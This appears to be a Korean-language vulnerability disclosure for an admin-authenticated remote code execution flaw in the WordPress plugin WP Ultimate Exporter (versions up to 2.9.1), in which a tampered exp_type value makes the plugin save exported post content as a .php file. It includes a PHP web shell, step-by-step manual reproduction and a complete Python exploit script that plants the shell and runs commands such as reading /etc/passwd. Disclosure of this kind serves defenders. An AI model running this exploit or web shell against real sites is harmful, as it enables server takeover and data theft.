Component type
WordPress plugin
Component details
Component name WP Ultimate Exporter
Vulnerable version <= 2.9.1
Component slug wp-ultimate-exporter
OWASP 2017: TOP 10
Vulnerability class A4: Insecure Design
Vulnerability type Remote Code Execution (RCE)
Pre-requisite
Administrator
Vulnerability details
Short description
WP Ultimate Exporter 플러그인은 WP Ultimate CSV Importer 플러그인의 애드온입니다. 이 플러그인으로 모든 게시물, 상품, 주문, 환불 및 사용자 데이터를 CSV, XLS, XML, JSON 형식으로 내보낼 수 있습니다. 내보내기 시 업로드 경로에 파일이 생성되며, 플러그인은 해당 파일의 내용만을 사용자에게 전달합니다.
WP Ultimate Exporter 플러그인 2.9.1 버전 이하에서는 데이터 내보내기를 요청할 때, 요청 데이터의 파일 확장자를 PHP로 지정할 경우 업로드 경로에 PHP 파일이 생성됩니다. 따라서, 생성된 파일의 내용이 PHP 구문인 경우 해당 파일에 접근하여 PHP 구문이 실행 되므로 원격 코드 실행(RCE) 취약점이 발생합니다.
How to reproduce (PoC)
'WP Ultimate Exporter' 플러그인은 'WP Ultimate CSV Importer' 플러그인의 애드온이므로 두 플러그인을 모두 설치해야 합니다.
1.
코드 편집기를 사용하여 아래의 내용을 담은 새 글을 작성합니다.
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
PHP
복사
2.
WP Ultimate Exporter 플러그인의 'Export' 탭으로 이동합니다. 이는 WP Ultimate CSV Importer 플러그인의 대시보드(/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu)에서 'Export' 탭을 클릭하여 접근할 수 있습니다.
3.
요청 패킷을 변조하기 위해 Proxy 도구(예: BurpSuite)를 실행하고, 이후 과정은 Intercept가 활성화된 상태에서 진행합니다.
4.
다음으로 'Select the module to Export Data'에서 'Posts'를 선택하고 다음 단계로 이동합니다.
5.
그런 다음 'To export data based on the filters'에서 아래 항목들을 설정하고 'EXPORT' 버튼을 클릭합니다.
•
Export File Name webshell 입력
•
Advanced Settings CSV 선택
6.
이때, 데이터를 내보내기 위해 POST 메소드로 /wp-admin/admin-ajax.php URL에 요청이 전송됩니다. 요청 데이터 exp_type 값을 csv에서 php로 변경한 후 Forward를 클릭합니다.
7.
브라우저 주소창에 /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd를 입력하면 WordPress가 설치된 서버의 /etc/passwd 파일 내용이 출력됩니다. 이를 통해 RCE 취약점을 발생시킬 수 있습니다.
Additional information (optional)
[취약점 발생 원인]
WP Ultimate Exporter 플러그인에서 데이터를 내보낼 때, /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php 파일의 parseData 함수가 호출됩니다.
이때, 내보낼 데이터 형식을 판단하는 요청 데이터 exp_type 에 대한 필터링을 수행하지 않고 멤버 변수 $this->exportType 에 값을 그대로 삽입하고 있습니다.
이후 데이터를 파일로 저장하기 위해 proceedExport 함수가 호출됩니다. 이때 파일의 저장 경로를 지정하는 변수 $file을 초기화하는 과정에서도 멤버 변수 $this->exportType이 필터링 없이 그대로 사용됩니다.
이어서 변수 $file에 저장된 파일 경로는 file_put_contents 함수의 인자로 전달되며, 이때 요청 데이터 exp_type에 지정된 확장자가 그대로 적용되어 파일이 저장됩니다.
따라서, Web Shell 코드가 포함된 글 데이터가 PHP 파일로 저장되고 해당 파일에 접근하면 PHP 코드가 실행되어 원격 코드 실행(RCE) 취약점이 발생하게 됩니다.
[PoC 코드 구현 및 실행]
1.
PoC 코드를 편집기로 열어 WordPress 사이트 주소와 관리자의 계정을 입력합니다.
2.
그 다음 아래의 명령어를 입력하여 PoC 코드를 실행합니다.
필요 모듈 requests
python poc.py
Bash
복사
Attach files (optional)
PoC Code
import re
import requests
# To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def create_post(session, title, content):
response = session.get(f"{TARGET}/wp-admin/post-new.php", proxies=proxies)
nonce_pattern = r'createNonceMiddleware\( "(.{10})" \)'
post_id_pattern = r'<input type=\'hidden\' id=\'post_ID\' name=\'post_ID\' value=\'(\w+)\''
nonce_match = re.search(nonce_pattern, response.text)
post_id_match = re.search(post_id_pattern, response.text)
if nonce_match and post_id_match:
wp_nonce = nonce_match.group(1)
post_ID = post_id_match.group(1)
print(f" |- Extracted wp_nonce: {wp_nonce}, post_ID: {post_ID}")
headers = {
"X-WP-Nonce": wp_nonce,
"Content-Type": "application/json",
}
params = {"rest_route": f"/wp/v2/posts/{post_ID}", "_locale": "user"}
data = {"id":post_ID, "title": title, "content":content, "status":"publish"}
response = session.post(
f"{TARGET}/index.php",
headers=headers,
params=params,
json=data,
proxies=proxies,
)
if response.status_code == 200:
print(f" |- Post created successfully. Post ID: {post_ID}")
post_ID = post_ID
else:
raise ValueError("[-] Failed to create post.")
else:
raise ValueError("[-] Failed to extract wp_nonce or post_ID.")
def wp_ultimate_exporter_trigger(session):
params = {
"page": "com.smackcoders.csvimporternew.menu"
}
resp = session.get(f"{TARGET}/wp-admin/admin.php", params=params, proxies=proxies)
nonce_pattern = r'var smack_nonce_object = .*?"nonce":"(.*?)"'
nonce_match = re.search(nonce_pattern, resp.text)
if nonce_match:
smack_nonce = nonce_match.group(1)
print(f" |- Extracted smack_nonce: {smack_nonce}")
data = {
"action": "parse_data",
"module": "Posts",
"securekey": smack_nonce,
"fileName": "webshell",
"exp_type": "php",
"export_mode": "normal",
"offset": 0
}
resp = session.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
exported_url = resp.json()['exported_file']
print(f" |- Completed triggering RCE vulnerability.")
print(f" |- Web Shell URL: {exported_url}")
return exported_url
else:
raise ValueError("[-] Failed to extract smack_nonce")
def execute_command(trigger_url, command):
print(f" |- Command entered: {command}")
params = {
"cmd": f"echo \"START\";{command};echo \"END\";"
}
resp = requests.get(trigger_url, params=params)
pattern = r'START\n([\s\S]*?)\nEND'
match = re.search(pattern, resp.text)
print(f" |- Checking the result.")
if match:
result = match.group(1)
print(f" | --------------------------------------")
print("\n".join(f" | {line}" for line in result.splitlines()))
print(f" | --------------------------------------")
else:
print(" |- Could not find the result for the entered command in the template.")
def poc(command):
####
# 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
####
# 2. Add a post containing Web Shell code
####
print(f"[+] Adding a post containing Web Shell code.")
create_post(
admin_session,
"WebShell",
"<pre>\n\t<?php\n\t if(isset($_GET['cmd']))\n\t {\n\t system($_GET['cmd']);\n\t }\n\t?>\n</pre>"
)
####
# 3. Trigger WP Ultimate Exporter plugin RCE vulnerability
####
print(f"[+] Triggering WP Ultimate Exporter plugin RCE vulnerability.")
trigger_url = wp_ultimate_exporter_trigger(admin_session)
####
# 3. Execute command
####
print(f"[+] Executing command.")
execute_command(trigger_url, command)
if __name__ == "__main__":
# WordPress Target
TARGET = "http://localhost:8080"
# Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc(command="cat /etc/passwd")
Python
복사